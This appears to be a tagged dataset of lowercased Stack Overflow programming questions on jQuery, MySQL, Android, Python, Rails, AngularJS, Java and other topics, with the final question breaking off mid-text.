jquery get remaining option values in csv format  i m looking to return a csv formatted string to set the value of a input text field with the option values from a select box.   <blockquote>    $.map($( #addedchargeamtid option )    function(e) {    var exp =   $(e).text();    alert(exp); })  </blockquote>   in using a map function but it looks to overwrite the value each time. can t figure out how to concat these together somehow.     btw thanks to all the jquery gurus today  much props on my issues!!!    updating:   <pre><code>&lt;option value= 123 &gt;123&lt;/option&gt; &lt;option value= asd &gt;asd&lt;/option&gt; &lt;option value= trr &gt;trr&lt;/option&gt; &lt;option value= 345 &gt;345&lt;/option&gt; </code></pre>   i need this:    <strong>123 asd trr 345</strong>    but the options are dynamic and can be added or removed  so there could be 1 or 100    new:    well this is kinda working. it gives me 4 options of the same item when i only added it once. also does not update the hidden text field with the csv value   <pre><code>// add remove button $( #addbutton ).click(function() {    $( #removebutton ).show();     // add     var myoptions = $( #typedchargeamtid ).val();    $.each(myoptions  function() {       $( #addedchargeamtid ).append(          $( &lt;option&gt;&lt;/option&gt; ).val(myoptions).html(myoptions)       );    });     var txt = $( #addedchargeamtid ).val() || [];       $( #commasepchargeamtid ).val(txt.join(   ));    }); </code></pre>   thanks again,jquery
in which scenario would  unroll-loops  not making result code faster   taken from gcc manual:   <pre><code>-funroll-loops            unroll loops whose number of iterations can be determined at compile time or upon entry to the loop.            -funroll-loops implies -frerun-cse-after-loop.  this option makes code larger  and may or may not make it            run faster. </code></pre>   according to my understanding  unroll loops will get rid of branching instructions in resulted code  i presume it is healthier for cpu pipelines.    but why would it  may not make it run faster,c
a way to apply the same fx to multiple jquery objects with one call  i come from mootools  and with mootools i could call the same fx to multiple objects with one single call  with smthing like this:   <pre><code>$$(obj1 obj2 obj3).tween(...); </code></pre>   where obj123 are already  expanded  dom elements  like $(selector)  just like a jquery object.    it seems that with jquery this is not possible. you can pass multiple css selectors but you can t pass multiple jquery objects. i think i m wrong because it would be quite annoying.. can t believe it s not possible.    so  what s the jquery way of doing that,jquery
passing parameters in url in rails  i am starting to learn rails and i am facing an issue which i suppose is very simple but i have not been able to find an answer.<br /><br /> i have a catalog of movies and the index page displays it showing several columns and i need to make two of them a link. this link will re-display the index page again but sorted by the selected criteria.<br /><br /> so far i have only added one link as follows:   <pre><code>%th= link_to  movie title   root_path </code></pre>   but i am not able to send a url parameter so i can get it in the controller and perform the sort. the actual controller is as follows:   <pre><code>def index   @movies = movie.all end </code></pre>   i guess that  if i can get a parameter in the controller then using an  if  statement would do the job. i imagine an url like this  where  1  means to sort by the first criteria:   <pre><code>http://www.mysite/1 </code></pre>   i saw a solution like this but i guess it is not a good choice. please advice.   <pre><code>&lt;%= link_to  link title   something__path(:param1 =&gt;  value1   :param2 =&gt;  value2 ) %&gt; </code></pre>   i will very much appreciate any suggestions on how to modify the view and the controller. i have googled several solutions but i am having a hard time understanding the solutions. maybe there is a better approach to achieve this. if so  then i am ready to listen.    respectfully <br /> jorge maldonado,ruby-on-rails
mysql datetime type inputs  in mysql table  why datetime type take inputs in y-m-d h:i:s format     why can  it accepts inputs in d-m-y h:i:s format,mysql
delete onmousout when onmouseclick  i have an mouseover event to change my rowcolors  i want it to the highlighted color when clicking on the row. how do i do this    <pre><code>&lt;tr onmouseover= this.classname=\ highlight\   onmouseout= this.classname=\ normal\   onclick= showdetails( .$row[ id ]. )  class= normal &gt; </code></pre>,html
not populating dropdownlist inside $.each  i have such code:   <pre><code>var options = $( #drop ); $.getjson( /services.asmx/getresults   params  function (result) {          $.each(result  function () {             //alert(this.name) works!                 options.append($( &lt;option /&gt; ).text( test ));           });      }); //options.append($( &lt;option /&gt; ).text( test ));  works! </code></pre>   and it s not appending my dropdownlist. if i move that line out of getjson method  it works. i debugged and all data returned (result) is correct  there are no errors. originally i want to add this.name instead of  test   but even simple string does not append.. what s wrong here     update: i just figured out  that i am using jquery chosen plugin  which converts option tags to li. i bet that s a problem. i still didn t solve the issue and wonder why it works only outside service call  but not inside.. thank you for your answers!!!,jquery
get specific view on custom listview  i have a custom list view with simple text and button  this button open a dialog that allow user to delete or save a file  but i want to get the view of the row when i push this button  to perform a delete animation. how can i get the view of this specific row  inside on a button click listener  i use a custom array adapter with base adapter!   <pre><code>             extends baseadapter implements view.onclicklistener{ </code></pre>   thanks in advance  i don t know if it s necessary to put here the code  it s so long.,android
how to get specific record while using group by  i have table with two columns for example table_data   <pre><code>id    value 1       2 1       5 1       4  select * from table_data group by id </code></pre>   but i got the output is 1 1..but actually i want this output for my desire example 1 4 or 1 5... how to get that,mysql
test presence of association breaking because of methods  i have a model with one steering wheel and a related steering_wheel_color method:   <pre><code>class car    has_one :steering_wheel    validates :steering_wheel  presence: true    def steering_wheel_color     self.steering_wheel.color   end  end </code></pre>   when i test this model to ensure the steering wheel is present  it fails because the steering_wheel_color method becomes undefined:   <pre><code>describe  car  do    @car = car.new(blah blah)    describe  when the steering wheel is not present      before { @car.steering_wheel_id =    }     it  won t be valid  do       @car.valid .must_equal false     end   end </code></pre>   results in something like:   <pre><code>nomethoderror: undefined method `color=  for #&lt;steeringwheel:0x000001092f9388&gt; </code></pre>   how can i test the presence of an association (not just the presence of a foreign key) without my test breaking because of a method,ruby-on-rails
compare the text of two columns  i’m working on this dataset to cleaning it <a href= https://www.kaggle.com/heesoo37/120-years-of-olympic-history-athletes-and-results  rel= nofollow noreferrer >https://www.kaggle.com/heesoo37/120-years-of-olympic-history-athletes-and-results</a>  using dremio (an online tool) so i can use an sql editor (but i don t know what dbms it use).    now i’m trying to delete from the column event the words that are contained in the column sport. (i’ve already done some modification indeed in the column event i’ve deleted the occurance of the words “man’s” and “women’s”).    attached you’ll find    <a href= https://i.stack.imgur.com/mve14.png  rel= nofollow noreferrer >the current situtation and the desired result</a>    how can i solve the problem     i hope i have been clear  thank you in advance for help. :)    edit: i ve found the original query made by dremio    <pre><code>select id  name  gender  age  height  weight  team   olympic games . year  as  year   season  city  sport  case when regexp_like(case when regexp_like(event   .* \qmen  s\e.*  ) then regexp_replace(event   \qmen  s\e     ) else event end   .* \qwomen  s\e.*  ) then regexp_replace(case when regexp_like(event   .* \qmen  s\e.*  ) then regexp_replace(event   \qmen  s\e     ) else event end   \qwomen  s\e     ) else case when regexp_like(event   .* \qmen  s\e.*  ) then regexp_replace(event   \qmen  s\e     ) else event end end as event  medal from  @sboorn . olympic games   where not regexp_like(id   .* \qid\e.*  ) </code></pre>,sql
how to highligh the row and column of a table when over a cell using jquery   i have a table 10x10 in html if i add a function for each td hover   how can i get the cell column and row index     thanks.,jquery
performselector:afterdelay versus nstimer:scheduletimerwithtimeinterval  i have a method i would like to execute (non repeating) after a time delay.    i could use performselector:afterdelay or i could schedule an nstimer and specify the selector as a parameter to that.    what are the advantages / disadvantages of using one over the other if the end result is the same (which is that my method will be called after the specified time delay).  is it not matter which one i use     (in case it is relevant  my method will get called both in the foreground and when the app moves to the background during the 10 minute window available via beginbackgroundtaskwithecpirationhandler).    tia,ios
using a regular expression validator for numbers in a textbox  how can i use a regular expression validator to ensure that only a number like 3.00 is entered into a text box,asp.net
configure mysql 5.0.18 on centos 6.3  please help me configure and run  mysql 5.0.18  on centos 6.3.    i have installed using mysql5.0.18 tarball. can t find the bin folder inside. not sure what to do further.    thanks.,mysql
.net - how the dependent project loaded in memory  i have two project in my solution. let say project 1 and project 2 and the project 1 is start up project. project 1 refers project 2. my question is  when will be the project 2 will be loaded  whether it will be loaded when i call the particular method(which is in project2) from project 1 or it will be loaded as soon as the solution started to run. can anyone suggest me the solution.,.net
isn t c++ operator== supposed to be left associative   why does this c++ code print what it prints    <pre><code>#include &lt;vector&gt; #include &lt;stdio.h&gt;  int p(const char *x) {    printf( %s\n   x);    return 0; }  int main() {    if (p( left ) == p( right )) ;     std::vector&lt;int&gt; v1;    v1.push_back(1);    std::vector&lt;int&gt;::iterator it = v1.erase(v1.begin());     if (it == v1.end())       printf( ok\n );    else       printf( fail\n );     std::vector&lt;int&gt; v2;    v2.push_back(1);    if (v2.erase(v2.begin()) == v2.end())       printf( ok\n );    else       printf( fail\n );     return 0; } </code></pre>   i m confused about the ok/fail part. this is in contradiction with the left/right part. what s happening here     the output for me is:   <pre><code>left right ok fail </code></pre>,c++
php displaying array element names  i pass $data[ results ] array from my controller to my view and i want to echo names of those array elements which equals 1.    for example  if {$first ==1  $second == 0  $third == 0} i want to display  first .     could you please check my code below and help me to find my mistake.       <pre><code>    foreach($results as $row){                                                   $first= $row-&gt;first;                                 $second= $row-&gt;second;                                 $third= $row-&gt;third;              if ($first == 1) {$digits[ first ] = $first;}               if ($second == 1) {$digits[ second ] = $second;}              if ($third == 1) {$digits[ third ] = $third;}   print_r($digits);  //  displays  array ( [first] =&gt; 1 )  instead of  first      } </code></pre>   <strong>update:</strong>     i generate html tables through the loop and display them with tcpdf.    updated code below normally displays  first  if {$first ==1  $second == 0  $third == 0} for the first table.    for the second table if {$first == 0  $second == 0  $third == 1} it should display  third  but it displays  first  third  because it adds the new value to previous one instead of replacing it.   <pre><code>$digits = array();  foreach($results as $row){     $first= $row-&gt;first;     $second= $row-&gt;second;     $third= $row-&gt;third;      if ($first == 1) { $digits[] =  first ; }     if ($second == 1) { $digits[] =  second ; }     if ($third == 1) { $digits[] =   third ; }  $abc = implode(      $digits);  $tbl.=&lt;&lt;&lt;eod &lt;table&gt;  &lt;tr&gt;   &lt;td&gt;     $abc   &lt;/td&gt;      &lt;/tr&gt; &lt;/table&gt; &lt;br&gt;&lt;br&gt; eod;  } </code></pre>,php
simple wipe animation for image view  i ve scoured the internet and i cannot seem to find any help on this. i want to have an image perform a wipe animation. by that i mean i would like the image itself to fade in from the left to right (not move from left to right  but fade  like reveal itself. i hope that s not a terrible description) i ve found material on how to transition the image with a wipe  but it s outdated and i don t want to transition the image  i want to straight up fade it in. if anybody could help me on this i would be incredible grateful. thank you so much  let me know if i can help clarify anything!,objective-c
implementing iconvertible.gettypecode  i m nitpicking  i know. but when implementing the iconvertible interface on a structure that contains only a boolean value (and thus has only two states) what is the recommended value to return from <code>iconvertible.gettypecode()</code>  the structure is implicitly convertible and comparable to boolean and in nearly every aspect other than string and xml representation  it s effectively a boolean.    i feel like i m lying to the framework if i return <code>typecode.boolean</code> but <code>typecode.object</code> seems unnecessarily vague. are there any real-world consequences for implementing this method in your own structures     <a href= http://msdn.microsoft.com/en-us/library/system.iconvertible.gettypecode.aspx  rel= noreferrer >iconvertible.gettypecode on msdn</a>,.net
change image src based on style width + height  i have an asp.net mvc project  and a function that streams out an image based on url parameters. like: /image/40/100/50 streams out image with imageid 40  100px wide and 50px high.    so is there a way to change:   <pre><code>&lt;img class= image  src= /content/view fileid=31  style= width: 500px; height: 100px;   /&gt; </code></pre>   to:   <pre><code>&lt;img class= image  src= /image/31/500/100  style= width: 500px; height: 100px;   /&gt;  </code></pre>   in some fancy way  /lasse,jquery
round number off to 2sf in list  i am very new to python  i have a set of data in a list that will output the follow:   <pre><code>[([ s1 ]  123.6  4  -3.09710082168993)  ([ s2 ]  189.6  4  -3.09710082168993)] [([ s1 ]  123.6  4  -1974.1075190129)  ([ s2 ]  189.6  4  -1974.1075190129)] </code></pre>   i get this output by these code:   <pre><code>platex = g_o.getresults(phase  g_o.resulttypes.nodetonodeanchor.x   node )  platey = g_o.getresults(phase  g_o.resulttypes.nodetonodeanchor.y   node )  platem = g_o.getresults(phase  g_o.resulttypes.nodetonodeanchor.anchorforce2d   node ) layer = ( [ s1 ]  [ s2 ]      [ s3 ]  [ s4 ]  [ s5 ]  [ s6 ] )  result = zip(layer  platex  platey  platem) test1 = list(result) print(test1) </code></pre>   how should i round off the result but keep the  s1     s2  as the indicator of the result  <br>thanks for the help.   <pre><code>e.g. [([ s1 ]  123.6  4  -3.09710082168993)  ([ s2 ]  189.6  4  -3.09710082168993)] to [([ s1 ]  123.6  4  -3.1)  ([ s2 ]  189.6  4  -3.1)] </code></pre>   that is what i wanted to achieve.,python
is removeallanimations then adding animations the way to go   some consultants built some code for us.  i m looking at a method they wrote for uiview subclass.  it basically goes like this:   <pre><code>- (void)startanimation {    [self.circle removeallanimations];     // then some animation code for the circle.  the circle is a cashapelayer.    [self.circle addanimation:group forkey:@ animationpath ]; } </code></pre>   two questions  is this a good way to implement animations   like remove all animations first  then add it   i was wondering if this is an expensive operation to always remove the animations first because in another for loop somewhere else in the app  it basically looks at the objects and just calls:   <pre><code>for (id points in pointsarray) {    [points startanimation]; } </code></pre>   i was wondering if blindly removing the animations and adding them back  without checking to see if the point object was already animating is ok and if i d be taking a performance hit.      also  is there a way to check something is animating   looking at the code  the animation starts for all objects.  however if they are positioned off the screen  (because it s in a scrollview and it s not currently in view)  the objects do not animate even though <code>startanimation</code> is called on each object when they are created and added to the view.  thanks.,iphone
couldnt link two xml pages in android development(sdk)  am trying to link two xml pages activity_main and activity_addbaby. i have a button in activity_main when i click on that i should be on the other xml file it switches to another xml but emulator doesnt show the ui elements in the xml     my code is like     main activity public class mainactivity extends activity {   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);      setcontentview(r.layout.activity_main);      final button button = (button) findviewbyid(r.id.button1);     button.setonclicklistener(new view.onclicklistener() {          @override         public void onclick(view v)         {             intent i = new intent(mainactivity.this  addbaby.class);               startactivity(i);         }     }); </code></pre>   and addbaby.class is like  public class addbaby extends activity {   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_addbaby); </code></pre>   }   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:layout_width= match_parent  android:layout_height= match_parent  android:paddingbottom= @dimen/activity_vertical_margin  android:paddingleft= @dimen/activity_horizontal_margin  android:paddingright= @dimen/activity_horizontal_margin  android:paddingtop= @dimen/activity_vertical_margin  tools:context= .mainactivity  &gt;  &lt;textview     android:id= @+id/textview1      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= @string/hello_world  /&gt;  &lt;button     android:id= @+id/button1      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_below= @+id/textview1      android:layout_marginleft= 17dp      android:layout_margintop= 68dp      android:layout_torightof= @+id/textview1      android:text= new profile  /&gt;  &lt;button     android:id= @+id/button2      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignright= @+id/button1      android:layout_centervertical= true      android:text= existing profile  /&gt;  &lt;/relativelayout&gt; </code></pre>   and my linked xml file is                <pre><code> &lt;edittext     android:id= @+id/edittext1      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignparentright= true      android:layout_alignparenttop= true      android:layout_marginright= 92dp      android:layout_margintop= 58dp      android:ems= 10  &gt;      &lt;requestfocus /&gt;   &lt;/edittext&gt;    &lt;textview     android:id= @+id/textview1      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignleft= @+id/edittext1      android:layout_alignparenttop= true      android:layout_marginleft= 14dp      android:layout_margintop= 26dp      android:text= name  /&gt;    &lt;textview     android:id= @+id/textview2      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignleft= @+id/datepicker1      android:layout_below= @+id/edittext1      android:layout_margintop= 34dp      android:text= dob  /&gt;    &lt;textview     android:id= @+id/textview3      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_margintop= 47dp      android:text= email  /&gt;    &lt;edittext     android:id= @+id/edittext2      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignleft= @+id/textview3      android:layout_below= @+id/textview3      android:layout_margintop= 17dp      android:ems= 10      android:inputtype= textemailaddress  /&gt;    &lt;button     android:id= @+id/add_baby_dob      android:layout_width= 200.0dip      android:layout_height= wrap_content      android:layout_below= @+id/textview2      android:layout_margintop= 36dp      android:layout_torightof= @+id/textview2  /&gt;    &lt;/relativelayout&gt; </code></pre>,android
angularjs value not displaying  i am trying to integrate xeditable table. but when i code something like below its not diplaying any value.    js code   <pre><code>app.controller( xeditablectrl   [ $scope    $filter    $http   editableoptions   editablethemes      function($scope  $filter  $http editableoptions editablethemes){     editablethemes.bs3.inputclass =  input-sm ;     editablethemes.bs3.buttonsclass =  btn-sm ;     editableoptions.theme =  bs3 ;     $scope.test =  janan ;   }]);   </code></pre>   html code   <pre><code>&lt;div class= wrapper-md  ng-controller= xeditablectrl &gt;   &lt;h4&gt;test value is &lt;/h4&gt;  {{ test }}       &lt;/div&gt; </code></pre>,angularjs
why is there no output when i run my code   i am trying to read a file called ecoli.txt  which contains the dna sequence for ecoli  and store its contents into a string. i tried to print the string to test my code. however  when i run the program  there is no output. i am still new to java so i am sure there is an error in my code  i just need help finding it.    <pre><code>package codons; import java.io.*; public class codons  {      public static void main(string[] args)      {         try          {             filereader codons = new filereader( codons.txt );             filereader filereader = new filereader( ecoli.txt );             bufferedreader ecoli = new bufferedreader(filereader);             stringbuilder dna_string = new stringbuilder();             string line = ecoli.readline();             while(line != null);             {                 dna_string.append(line);                 line = ecoli.readline();             }             string string = new string(dna_string);             system.out.println(string);             ecoli.close();         }          catch (filenotfoundexception e)          {             e.printstacktrace();         }          catch (ioexception e)          {             e.printstacktrace();         }       }  } </code></pre>   edit:    i was still having trouble getting the program to work the way i wanted it to so i attempted to complete writing the rest of what i wanted in the program and i am still not getting any output. anyway  this is where i am at now:   <pre><code>package codons; import java.io.*; import java.util.*; import java.lang.*; import java.text.*; public class codons  {     public static void main(string[] args)      {         try          {             filereader filecodons = new filereader( codons.txt );             filereader filereader = new filereader( ecoli.txt );             bufferedreader ecoli = new bufferedreader(filereader);             stringbuilder dna_sb = new stringbuilder();             string line = ecoli.readline();             while(line != null)             {                 dna_sb.append(line);                 line = ecoli.readline();             }             string dna_string = new string(dna_sb);             ecoli.close();             bufferedreader codons = new bufferedreader(filecodons);             stringbuilder codon_sb = new stringbuilder();             string codon = codons.readline();             while(codon != null)             {                 codon_sb.append(codon);                 line = codons.readline();             }             string codon_string = new string(codon_sb);             codons.close();             for(int x = 0; x &lt;= codon_sb.length(); x++)             {                 int count = 0;                 string codon_ss = new string(codon_string.substring(x  x+3));                 for(int i = 0; i &lt;= dna_sb.length(); i++)                 {                     string dna_ss = new string(dna_string.substring(i  i+3));                     int result = codon_ss.compareto(dna_ss);                     if(result == 0)                     {                         count += 1;                     }                 }                 system.out.print( the codon   );                 system.out.print(codon_ss);                 system.out.print(  is in the dna sequence );                 system.out.print(count);                 system.out.println( times. );             }         }          catch (filenotfoundexception e)          {             e.printstacktrace();         }          catch (ioexception e)          {             e.printstacktrace();         }       }  } </code></pre>,java
why is my enter key cascading via $.focus()   if i have a textbox and a button:   <pre><code>&lt;input id= text /&gt; &lt;button id= btn &gt;click me&lt;/button&gt; </code></pre>   and my button sends focus to the text box somewhere in it s click event:   <pre><code>$(document).ready(function(){    $( #btn ).click(function(event){     console.log( btn  );     $( #text ).focus();   });    $( #text ).keyup(function(event){     console.log( key  );   });  }); </code></pre>   ...if you use the enter key to trigger the button click  somehow  the text element that is receiving focus also receives the enter keypress.    here is a fiddle showing this behavior:    <a href= https://jsfiddle.net/qup6keld/  rel= nofollow >https://jsfiddle.net/qup6keld/</a>    use the tab key to set focus to the button  then press the enter key. both events will be triggered. using space to trigger the button s click won t do this. why is this happening  and how do i prevent it (outside of removing the focus() call ),jquery
angularjs select with hard coded options  <strong>q.</strong> why my drop down is not showing the selcted value    here is the javascript code that i have   <pre><code>&lt;div ng-app= myapp &gt;  &lt;div ng-controller= myctrl &gt;      &lt;select ng-model= mymodel.active  convert-to-number&gt;        &lt;option value= -1 &gt;select&lt;/option&gt;        &lt;option value= 1 &gt;yes&lt;/option&gt;        &lt;option value= 2 &gt;no&lt;/option&gt;        &lt;option value= 3 &gt;maybe&lt;/option&gt;      &lt;/select&gt;      &lt;span&gt;{{mymodel.active}}&lt;/span&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>   the javascript   <pre><code>var myapp = angular.module( myapp  []); myapp.controller( myctrl   function($scope){       $scope.mymodel = {};       $scope.mymodel.active=2; //   }); </code></pre>   <strong>the js-fiddle link</strong> -- <a href= https://jsfiddle.net/shatherali/4mxwzl5y/19/  rel= nofollow >https://jsfiddle.net/shatherali/4mxwzl5y/19/</a>    <strong>edit:</strong> please note i dont want to use string value. active has to be a number value.,angularjs
show string alignment  i have a program that will tell me the distance between two strings  which is working just fine.     e.g.   <pre><code>word 1 = hello word 2 = hi </code></pre>   has a cost of 5 to go from one to the other (substitution of <em>i</em> with <em>e</em> is 2  and there are 3 insertions).    basically  an insert costs 1  delete costs 1  substitution is 2. words can also be shuffled in the string to reduce cost.     i need a way to remember what operation is happening at what point so that i can show an alignment.    e.g.   <pre><code>wax s m s(substitute move substitute  cost of 4) and </code></pre>   any ideas or tips    <pre><code>import sys from sys import stdout   def  mineditdist(target  source):      # length of the target strings set to variables     n = len(target)     m = len(source)      distance = [[0 for i in range(m+1)] for j in range(n+1)]      for i in range(1 n+1):         distance[i][0] = distance[i-1][0] + insertcost(target[i-1])      for j in range(1 m+1):         distance[0][j] = distance[0][j-1] + deletecost(source[j-1])       for i in range(1 n+1):         for j in range(1 m+1):            distance[i][j] = min(distance[i-1][j]+1                                  distance[i][j-1]+1                                  distance[i-1][j-1]+subcost(source[j-1] target[i-1]))      # return the minimum distance using all the table cells     return distance[i][j]  def subcost(x y):     if x == y:         return 0     else:         return 2  def insertcost(x):     return 1  def deletecost(x):     return 1  # user inputs the strings for comparison # commented out here because cloud9 won t take input like this # word1 = raw_input( enter a word:  ) # word2 = raw_input( enter the second word:  ) word1 =  wax  word2 =  and  word1x = word1 word2x = word2 # reassign variables to words with stripped right side whitespace word1x = word1x.strip() word2x = word2x.strip()  if(len(word1) &gt; len(word2)):     range_num = len(word1) else:     range_num = len(word2)  # display the minimum distance between the two specified strings print  the minimum edit distance between s1 and s2 is:    mineditdist(word1x word2x)   !  print (word1x) print (word2x) </code></pre>,python
how to trigger the click event inside ng-repeat of angularjs   i am doing the ng-repeat for showing the project list in my app. on click on the individual project i need to show the list of surveys inside the project. but when the page get loaded for first time i want to trigger the click event of first project which is default.    below is the html code for that list project.    <strong>projectlist.html</strong>   <pre><code>&lt;ul class= sidebar-nav &gt;             &lt;li class= sidebar-brand  &gt;                 &lt;a&gt;                     projects                 &lt;/a&gt;             &lt;/li&gt;             &lt;li ng-repeat= obj in allprojects track by  $id(obj) &gt;                 &lt;a ui-sref= survey.surveylist({id: obj.projectid})  ng-click= getprojsurveys(obj.projectid)  data-id= {{obj.projectid}} &gt;{{obj.projectname}}&lt;span class= projectsetting &gt;&lt;img src= ./images/settings.png /&gt;&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt; </code></pre>   <strong>ctrl.js</strong>   <pre><code>require( ../styles/survey/survey.less );   angular.module( adminsuite ).controller( surveycontroller  [ getallsurveyservice   $timeout   authenticationservice    $scope   $rootscope    $state    $stateparams   function(getallsurveyservice $timeout  authenticationservice $scope $rootscope $state $stateparams){ $rootscope.header =  survey ; $scope.hoverin = function(){     this.hoveredit = true; };  $scope.hoverout = function(){     this.hoveredit = false; };  $rootscope.surveyselected = false;    console.log($( .checked ).length);    console.log($( .checkbox ).length);  if($state.current.name !=  login ){                   $rootscope.bgground =  bgblank ;                   $rootscope.footerbgground =  bgfooter ;          }      $scope.supported = false;      $scope.waplink =  http://apidev.1pt.mobi/i/interview uid=188a80cf0d61ca60d2f5_495f23e0fd4b9120d1e7&amp;surveyid=20903 ;             $scope.success = function ($event) {       $scope.supported = true;       console.log($( .copied ));     };      $scope.fail = function (err) {         console.error( error!   err);     };   getallsurveyservice.surveylist().then(       function( data ) {         $scope.allprojects = data;           $scope.allsurveys = data[0].surveys;           if($scope.allsurveys.errormessage){             authenticationservice.clearcredentials();           }       }   );   $scope.getreportdetails = function(){       return $http.get( http://localhost:8395/api/usersurvey/getallsurveys    {                                     headers: {  content-type :  application/json   sessionid :$rootscope.token}                                 })   };    $scope.getprojsurveys = function(projid){     var i;     for(i in $scope.allprojects){       if(projid == $scope.allprojects[i].projectid){         $scope.allsurveys = $scope.allprojects[i].surveys;       }     }     angular.element(document.queryselectorall( .surveymodule )).removeclass( toggled );   };  $scope.toggleclass = function($event){ angular.element($event.target).toggleclass( checked ); $rootscope.selecteditems = angular.element(document.queryselectorall( .checked )).length; angular.element($event.target).parent().toggleclass( active ); if(angular.element(document.queryselectorall( .checked )).length &lt; 1){   $rootscope.global.shownewheader= false; }; };  }]); </code></pre>   on-click of the projects i am able to show data in the ui-view but for the first time on load of the page unable to trigger click event for the first project. i tried with the above code inside the controller using angular.element and trigger( click )  but it is not working for me. please help.,angularjs
more than one return type from method  is there a way to get different return type from a method like int or string or double     what i can think of is using generics wildcard not sure    like:    <pre><code>public x m1(){ //implementation } </code></pre>   x can be int string long etc,java
put my ads on an iphone app  what i m searching is a way so i could put my campaigns (ads) on an advertisement inside an iphone app just like i use google dfp to submit my campaigns to my site.    how can i do this on an iphone app   is the google admob the right tool for this job ; i had a look  and i saw the new campaign function but i think is for google adwords campaing.    thanks,iphone
splitting headers array in curl response <pre><code>$headers = array(                      content-type: text/xml;charset=\ utf-8\                         accept: text/xml                        cache-control: no-cache                        pragma: no-cache                        soapaction: http://ctitechnology.com/upsertentity                        content-length:  .strlen($soap_request)                  );   $soap_do = curl_init();         curl_setopt($soap_do  curlopt_url   http://66.7.227.4/tio_ws/screeningpartnerws.asmx );         curl_setopt($soap_do  curlopt_returntransfer  true);         curl_setopt($soap_do  curlopt_post  true);         curl_setopt($soap_do  curlopt_postfields  $soap_request); // the soap request         curl_setopt($soap_do  curlopt_httpheader  $headers);         curl_setopt($soap_do  curlopt_header  true);         curl_setopt($soap_do  curlinfo_header_out  true);          $result = curl_exec($soap_do);       print  response:\n ;     print($result);     print  \n ;      if($result === false) {             $error =  curl error:   . curl_error($soap_do);             curl_close($soap_do);             print $error;     } else {              $xml = simplexml_load_string($result);             print_r($xml);             print  \n ; </code></pre>   i am trying to split the header when it comes back in the response (i need to keep the headers  turning curlopt_header to false would do it but i need to keep the response s header intact). at the moment  am not able to parse the xml because the header is included. any wisdom would be greatly appreciated!,php
how to set yaxis minimum scale using using c#.net in excel  i m using interop excel 12.0 to create a chart.    my assigned datarange to yaxis starts from 7/5/2010 till 8/29/2011. but y axis on chart starts from 7/12/2010 and ends at 8/22/2011 however the chart line growth shows the datas from start to end   <pre><code>mychart.chart.chartwizard(xlworksheet.get_range( a1    b62 ) misvalue  misvalue  misvalue misvalue  excel.xlrowcol.xlcolumns  false                       space used trend report for databases dlp01p  dlp07p  dpn01p and duv01p    date    gb   misvalue);                 font f = new system.drawing.font(fontfamily.genericsansserif  10.0f);                  mychart.chart.charttitle.characters.font.size = f.size;                 chartpage.hastitle = true;                  //trend line setting                 //creating a series                 excel.series series = (excel.series)chartpage.seriescollection(1);                  //setting the series to secondary (y) axis so as to format the same                 series.axisgroup = excel.xlaxisgroup.xlsecondary;                 //setting the trendline type                 excel.trendlines trendlines = (excel.trendlines)series.trendlines(system.type.missing);                 excel.trendline trendline = trendlines.add(microsoft.office.interop.excel.xltrendlinetype.xllinear  2                      0  misvalue  misvalue  misvalue  false  false  misvalue);                  //creating a variable for yaxis and assigning the chart s y axis to the same                 excel.axis yaxis = (excel.axis)chartpage.axes(excel.xlaxistype.xlcategory  series.axisgroup);                  yaxis.majorunit = 14;                 yaxis.minorunit = 7;                 yaxis.format.line.backcolor.rgb = color.red.toargb();                 yaxis.format.line.forecolor.rgb = color.red.toargb();                 yaxis.majorunitscale = excel.xltimeunit.xldays;                 yaxis.minorunitscale = excel.xltimeunit.xldays;                 yaxis.minimumscaleisauto = false;                 yaxis.minimumscale =       </code></pre>   the minimum scale is taking only double values.,c#
how do i check if there s an array within an array  how do i check if there s an array within an array  for example  if i had this array <code>[5  65  [5]]</code> it would return true. in this case  <code>[6  12  54  3]</code> it would return false. thanks!,javascript
android: how to have different text sizes for different screen sizes with dynamic textviews   i have a tablelayout on my app where i am adding rows programatically by getting data from the local sqlite db. since i also create the textviews on each row programatically i need to specify one text size for them  and that size won t be suitable for all screen sizes. if i pick one that looks good on a smartphone  for instance  it will look too small on large tablets.    if i had the textviews on the xml i could simply create a different layout for each screen size  but how can i achieve that flexibility in text size creating the textviews programatically     thanks a lot in advance.,android
inetaddress.getlocalhost().gethostaddress() is returning 127.0.1.1  my question is similar to <a href= https://stackoverflow.com/q/2381316/1175065 >this</a> question . i want to get the real ip of my machine (not 127.0.0.1) but strange  the below code in my ubuntu is returning 127.0.1.1   <pre><code>inetaddress.getlocalhost().gethostaddress() </code></pre>   below is my complete code  originally posted in so at <a href= https://stackoverflow.com/a/7334091/1175065 >here</a>   <pre><code>public string getmachineip() {     try {         string hostip = inetaddress.getlocalhost().gethostaddress();         if (!hostip.equals( 127.0.0.1 )) {             return hostip;         }          /*          * above method often returns  127.0.0.1   in this case we need to          * check all the available network interfaces          */         enumeration&lt;networkinterface&gt; ninterfaces = networkinterface                 .getnetworkinterfaces();         while (ninterfaces.hasmoreelements()) {             enumeration&lt;inetaddress&gt; inetaddresses = ninterfaces                     .nextelement().getinetaddresses();             while (inetaddresses.hasmoreelements()) {                 string address = inetaddresses.nextelement()                         .gethostaddress();                 if (!address.equals( 127.0.0.1 )) {                     return address;                 }             }         }     } catch (unknownhostexception e1) {         system.err.println( error =   + e1.getmessage());     } catch (socketexception e1) {         system.err.println( error =   + e1.getmessage());     }     return null; } </code></pre>   the above code is returning 127.0.1.1 whereas <code>ifconfig</code> on my ubuntu machine is giving below output   <pre><code>root@dell:~# ifconfig eth0      link encap:ethernet  hwaddr 00:21:70:b7:30:cd             up broadcast multicast  mtu:1500  metric:1           rx packets:0 errors:0 dropped:0 overruns:0 frame:0           tx packets:0 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            rx 